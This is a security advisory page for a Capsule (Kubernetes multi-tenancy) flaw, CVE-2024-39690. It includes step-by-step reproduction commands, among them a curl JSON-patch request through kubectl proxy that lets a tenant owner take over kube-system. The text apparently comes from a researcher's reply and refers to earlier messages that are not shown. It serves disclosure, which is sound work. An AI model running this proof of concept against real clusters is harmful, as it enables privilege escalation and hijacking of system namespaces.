Ecosyste.ms: Advisories
An open API service providing security vulnerability metadata for many open source software ecosystems.
Security Advisories: GSA_kwCzR0hTQS1tcTY5LTRqNXctM3F3cM4AA-z-
Capsule tenant owner with "patch namespace" permission can hijack system namespaces
Attack Vector
Then, let me briefly explain the reasons for the errors mentioned above: 1. The 'kubectl edit' command was used to patch the namespace, but this operation requires both 'get' and 'patch' permissions, hence the error. One should use methods like 'curl' to directly send a PATCH request; 2. The webhook does not intercept patch operations on 'kube-system' because 'kube-system' does not have an ownerReference.
Below are my detailed reproduction steps
- Create a test cluster
kind create cluster --image=kindest/node:v1.24.15 --name=k8s
- Install the capsule
helm install capsule projectcapsule/capsule -n capsule-system --create-namespace
- Create a tenant
kubectl create -f - << EOF
apiVersion: capsule.clastix.io/v1beta2
kind: Tenant
metadata:
name: tenant1
spec:
owners:
- name: alice
kind: User
EOF
- Create user alice
./create-user.sh alice tenant1 capsule.clastix.io
export KUBECONFIG=alice-tenant1.kubeconfig
- Patch kube-system (The first command is executed in the current shell, while the 2nd and 3rd commands require a different shell window because the current shell is being used as a proxy.)
kubectl proxy
export DATA='[{"op": "add", "path": "/metadata/ownerReferences", "value":[{"apiVersion": "capsule.clastix.io/v1beta2", "blockOwnerDeletion": true, "controller": true, "kind": "Tenant", "name": "tenant1", "uid": "ce3f2296-4aaa-45b0-a8fe-879d5096f193"}]}]'
curl http://localhost:8001/api/v1/namespaces/kube-system/ -X PATCH -d "$DATA" -H "Content-Type: application/json-patch+json"
- Check the result
The kube-system is patched successfully.
Summary
The tenant-owner can patch any arbitrary namespace that has not been taken over by a tenant (i.e., namespaces without the ownerReference field), thereby gaining control of that namespace.
I would like to express my apologies once again. I have always been sincere in my research and communication, and I did not intend to disturb you on purpose.
Permalink: https://github.com/advisories/GHSA-mq69-4j5w-3qwpJSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tcTY5LTRqNXctM3F3cM4AA-z-
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: 3 months ago
Updated: 3 months ago
CVSS Score: 8.5
CVSS vector: CVSS:3.1/AV:A/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Identifiers: GHSA-mq69-4j5w-3qwp, CVE-2024-39690
References:
- https://github.com/projectcapsule/capsule/security/advisories/GHSA-mq69-4j5w-3qwp
- https://nvd.nist.gov/vuln/detail/CVE-2024-39690
- https://github.com/projectcapsule/capsule/commit/d620b0457ddec01616b8eab8512a10611611f584
- https://github.com/advisories/GHSA-mq69-4j5w-3qwp
Blast Radius: 1.0
Affected Packages
go:github.com/projectcapsule/capsule
Dependent packages: 0Dependent repositories: 0
Downloads:
Affected Version Ranges: <= 0.7.0
No known fixed version
All affected versions: 0.0.1, 0.0.2, 0.0.3, 0.0.4, 0.0.5, 0.1.0, 0.1.1, 0.1.2, 0.1.3, 0.2.0, 0.2.1, 0.2.2, 0.3.0, 0.3.1, 0.3.2, 0.3.3, 0.4.0, 0.4.1, 0.4.2, 0.5.0, 0.6.0, 0.6.1, 0.6.2, 0.7.0